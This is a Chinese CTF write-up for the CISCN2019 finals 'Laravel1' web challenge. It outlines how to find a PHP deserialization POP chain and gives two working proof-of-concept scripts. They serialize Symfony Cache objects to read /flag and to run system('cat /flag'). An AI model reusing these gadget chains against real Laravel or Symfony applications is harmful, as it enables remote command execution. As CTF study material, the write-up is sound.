zoukankan      html  css  js  c++  java
  • 刷题记录:[CISCN2019 总决赛 Day1 Web4]Laravel1

    刷题记录:[CISCN2019 总决赛 Day1 Web4]Laravel1

    题目复现链接:https://buuoj.cn/challenges
    参考链接:国赛决赛laravel的另一种不完美做法

    解题过程

    第一次分析这么大量的代码,中途看睡着了好几次,自己搞不出来,看wp跟着走算是弄懂。
    首先题目首页给出了提示,告诉我们利用点就是反序列化,问题是要找到pop链。

    思路:

    • 1、首先全局搜索__destruct这样的魔术方法
    • 2、看看本类中有没有可控的命令执行命令,如果没有就找有没有那个方法可以调用其他类
    • 3、然后全局搜索能利用的可控函数

    看起来思路很简单,但是操作起来是真的头痛,先贴上两个poc,以后这种题接触多了再补。。

    <?php
    namespace SymfonyComponentCache{
    
        final class CacheItem{
    
        }
    }
    namespace SymfonyComponentCacheAdapter{
    
        use SymfonyComponentCacheCacheItem;
        class PhpArrayAdapter{
            private $file;
            public function __construct()
            {
                $this->file = '/flag';
            }
        }
    
        class TagAwareAdapter{
            private $deferred = [];
            private $pool;
    
            public function __construct()
            {
                $this->deferred = array('flight' => new CacheItem());
                $this->pool = new PhpArrayAdapter();
            }
        }
    }
    
    namespace {
    
        use SymfonyComponentCacheAdapterTagAwareAdapter;
    
        $obj = new TagAwareAdapter();
        echo urlencode(serialize($obj));
    }
    
    
    <?php
    
    namespace SymfonyComponentCacheAdapter;
    
    class TagAwareAdapter{
        public $deferred = array();
        function __construct($x){
            $this->pool = $x;
        }
    }
    
    class ProxyAdapter{
        protected $setInnerItem = 'system';
    }
    
    namespace SymfonyComponentCache;
    
    class CacheItem{
        protected $innerItem = 'cat /flag';
    }
    
    $a = new SymfonyComponentCacheAdapterTagAwareAdapter(new SymfonyComponentCacheAdapterProxyAdapter());
    $a->deferred = array('aa'=>new SymfonyComponentCacheCacheItem);
    echo urlencode(serialize($a));
    
  • 相关阅读:
    Mybatis简单的入门之增删改查
    循环的角度求均值
    谈谈软件设计
    秒杀多线程第四篇 一个经典的多线程同步问题
    (转)dp动态规划分类详解
    P1006 传纸条
    P1005 矩阵取数游戏
    1D1D动态规划优化
    NOI 2009A 诗人小G
    P1078 文化之旅
  • 原文地址:https://www.cnblogs.com/20175211lyz/p/11508348.html
Copyright © 2011-2022 走看看